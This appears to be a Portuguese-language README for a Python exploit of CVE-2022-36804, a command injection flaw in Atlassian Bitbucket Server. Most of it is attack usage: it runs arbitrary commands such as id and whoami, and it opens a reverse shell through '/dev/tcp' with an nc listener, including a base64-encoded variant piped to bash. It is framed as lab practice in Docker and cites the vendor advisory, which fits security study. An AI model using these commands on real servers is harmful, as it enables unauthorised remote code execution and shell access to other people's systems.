
Exploit em Python para injeção de comando CVE-2022-36804 no Atlassian Bitbucket Server, permitindo execução remota de código e shell reverso com comandos personalizáveis e ambiente de laboratório Docker.
Uma vulnerabilidade crítica de injeção de comandos foi encontrada em vários endpoints da API do Atlassian Bit bucket Server e Data center. Esta vulnerabilidade afeta todas as versões do Bitbucket Server e Data Center lançadas antes das versões <7.6.17>, <7.17.10>, <7.21.4>, <8.0.3>, <8.1.2>, <8.2.2> e <8.3.1>
docker build -t bitbucket .
docker run -it bitbucket
python3 cve-2022-36804.py -u http://172.17.0.2:7990
python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c id
python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c whoami -p NEW -r newrepo
Substitua 172.17.0.3 pelo seu endereço IP local
python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c "sh -i >& /dev/tcp/172.17.0.2/4444 0>&1"
nc -lvp 4444
https://www.revshells.comConverta `sh -i >& /dev/tcp/172.17.0.2/4444 0>&1` para base64 em caso de erro de execução do payload.
python3 cve-2022-36804.py -u http://172.17.0.2:7990 -c "echo 'c2ggLWkgPiYgL2Rldi90Y3AvMTcyLjE3LjAuMi80NDQ0IDA+JjE=' | base64 -d | bash"
Recomenda-se instalar uma versão vulnerável do Bitbucket Server em máquina Windows/Linux para prática. Será mais fácil obter um reverse shell em comparação com imagens Docker.
Mais informações podem ser encontradas [aqui](https://walnutsecurity.com/cve-2022-36804-rce-in-bitbucket-server/)
# Referências
* https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-advisory-2022-08-24-1155489835.html
* https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-36804
* https://walnutsecurity.com/cve-2022-36804-rce-in-bitbucket-server/
* https://github.com/walnutsecurity/cve-2022-36804